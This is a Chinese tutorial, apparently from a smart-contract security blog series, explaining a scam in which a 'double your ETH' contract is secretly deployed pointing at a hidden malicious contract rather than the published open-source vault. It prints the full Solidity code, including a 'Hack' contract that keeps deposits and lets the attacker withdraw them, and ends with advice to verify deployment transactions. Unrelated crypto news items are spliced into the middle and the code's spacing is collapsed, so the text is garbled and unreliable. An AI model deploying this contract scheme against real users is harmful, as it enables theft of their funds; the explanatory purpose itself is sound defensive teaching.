概述
上期我们了解了利用tx.origin进行钓鱼的攻击手法，本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。
前置知识
大家还记得之前几期部署攻击合约时我们会传入目标合约的地址，在攻击合约中就可以调用目标合约中的函数吗，有些攻击者会利用这一点受害者。比如部署一个A合约并告诉受害者我们会在部署A合约的构造函数中传入B合约的地址并将B合约开源，其实我们会在部署A合约时传入C合约的地址，如果受害者完全信任我们没有检查部署A合约的那笔交易，我们就完美的将恶意代码隐藏在了C合约中。我们可以从下图来理解这个逻辑：
安全研究公司Trail of bits完成对LooksRare智能合约的独立审计:官方消息，安全研究公司Trail of bits完成对LooksRare智能合约的独立审计，未发现任何可能导致智能合约受损、资金损失或意外行为的重大缺陷。[2022/4/14 14:24:58]
用户以为的调用路径：
部署合约A传入合约B地址，这样调用路径为正常路径。
实际的调用路径：
部署合约A传入合约C地址，这样调用路径为非正常路径。
下面我们使用一个简单的例子来分析这个局：
恶意代码
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}
OpenSea智能合约已完成升级，迁移将于2月26日截止:2月19日消息，OpenSea 官方在社交媒体上发文表示，其智能合约升级已完成，新的智能合约已经上线，用户迁移智能合约需签署挂单迁移请求，签署此请求不需要 Gas 费，无需重新进行 NFT 审批或初始化钱包。在迁移期间，旧智能合约上的报价将失效。英式拍卖将于合约升级完成后暂时禁用几个小时，新合约生效后，可以再次创建新的定时拍卖。现有智能合约的荷兰式拍卖将于北京时间2月26日3时在迁移期结束时到期。[2022/2/19 10:02:11]
局分析
可以看到，上述代码中存在三个合约，我们先结合前置知识中的A,B,C三个角色来区分三个合约分别代表什么角色：
MoneyMaker合约代表A合约；
Vault合约代表B合约；
Hack合约代表C合约。
所以用户以为的调用路径为：
MoneyMaker->Vault。
初夏虎：DeFi上金融产品设计问题和智能合约漏洞一样危险:8月24日消息，在以“元界DNA主网上线，将如何改造DEFI产业现状”为主题的AMA上。
初夏虎表示，很多人以为区块链项目的风险主要来自于代码漏洞，殊不知最可怕的是金融产品设计问题，它和智能合约漏洞一样危险。现在很多所谓的DEFI项目团队里并没有金融产品专家。元界DNA虽然无法完全规避所有的风险，但是会比其他公链团队更有风险意识，并且向DEFI团队提供更多更安全可靠的工具。
目前元界DNA已上线包括OKEx、ZB、Bittrex（B网）等全球19家主流交易平台。[2020/8/24]
而实际的调用路径为：
MoneyMaker->Hack。
下面我们来看看攻击者如何完成局的：
1.Evil部署Vault(B)合约并在合约中留存100ETH资金，在链上将Vault(B)合约开源；
2.Evil部署Hack(C)恶意合约；
独家 | “新增代币型智能合约风险榜”出炉 Peach Will(PW)风险排名第一:第三方大数据评级机构RatingToken最新数据显示，截止2018年8月12日，全球新增919个合约地址，其中173个为代币型智能合约。RatingToken团队发布的“新增代币型智能合约风险榜”中，Peach Will(PW)、Ready Player ONE(RP1)和Vote Bhelp(Test)排名前三，检测得分依次为1.50、2.00和2.00，其中Peach Will存在24个疑似风险项。其他登上该风险榜TOP10的合约还包括PreSale、EarlyBirdSale、LFC_Crowdsale、Crowdsale、REWARD、Real Q Coin(RQC)和HODL Coin(HODL)。如需查看更多智能合约检测结果，请查看原文链接。[2018/8/13]
3.Evil放出消息说他将会部署一个开源的赚钱MoneyMaker(A)合约，部署时会将Vault(B)合约地址传入且会调用Vault.setMacker()将maker角色设置为MoneyMaker合约地址，任何人调用MoneyMaker.makeMoney()向合约中打入不少于一个以太都会得到双倍以太的回报；
SMT最新公告：“以太坊智能合约溢出漏洞事件”已经得到全面控制:据SmartMesh(SMT)官方微博公告，此次“以太坊智能合约溢出漏洞事件”已经得到全面控制。对于此次溢出事件流出的“假币”，SMT基金会承诺将从公开流通市场进行回购，并进行销毁。[2018/4/27]
4.Bob收到消息，了解到MoneyMaker合约的存在，他看了MoneyMaker(A)和Vault(B)合约的代码并检查了Vault(B)合约中的余额发现逻辑确实如Evil说的那样，他在没有检查MoneyMaker(A)部署交易的情况下就相信了Evil；
5.Bob调用MoneyMaker.makeMoney()向合约中打入自己全部身家20ETH，在他满怀期待等着收到Vault(B)打来的40ETH时等来的却是一句"Haha,youretherismine!"。
咋回事呢？其实这个局非常简单但是很常见。Evil在部署MoneyMaker合约时传入的并不是Vault合约的地址，而是传入了Hack合约的地址。所以当Bob调用MoneyMaker.makeMoney()时并不会像他想像中的那样MoneyMaker.makeMoney()去调用Vault.transfer()回打给他双倍的以太，而是调用了Hack.transfer()抛出了一个事件："Haha,youretherismine!"。最后Evil调用Vault.withrow()将Vault合约中的100ETH转出，并通过Hack.withrow()将Bob转入的20ETH转出。
预防建议
以太坊黑暗森林中你能相信的只有自己，不要相信任何人精彩的话术，交易记录不会造假，只有自己验证了对应的那笔交易后才能相信对方说的话是对的。
郑重声明： 本文版权归原作者所有， 转载文章仅为传播更多信息之目的， 如作者信息标记有误， 请第一时间联系我们修改或删除， 多谢。